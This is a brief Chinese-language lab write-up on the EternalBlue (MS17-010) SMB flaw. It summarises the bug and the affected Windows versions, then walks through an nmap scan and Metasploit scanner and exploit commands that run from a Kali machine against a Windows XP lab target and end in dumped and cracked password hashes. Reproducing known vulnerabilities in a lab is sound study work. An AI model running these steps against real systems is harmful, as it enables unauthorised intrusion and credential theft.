一、漏洞简介
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
二、影响范围
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
三、复现过程
攻击机:Linux kali
靶机:Windows xp
扫描端口
nmap -T4 -A -v -Pn 192.168.1.152 ,发现445端口开启,并且是XP系统
kali进入msfconsole搜索ms17_010 : search ms17_010
使用模块扫描,use auxiliary/scanner/smb/smb_ms17_010
设置靶机目标:set RHOSTS ip
扫出目标机信息候,使用ms17_010进行攻击,设置LHOST的ip为攻击机,RHOST值为靶机。
执行后获得用户名和密码,这里拿去md5解密得到登录密码。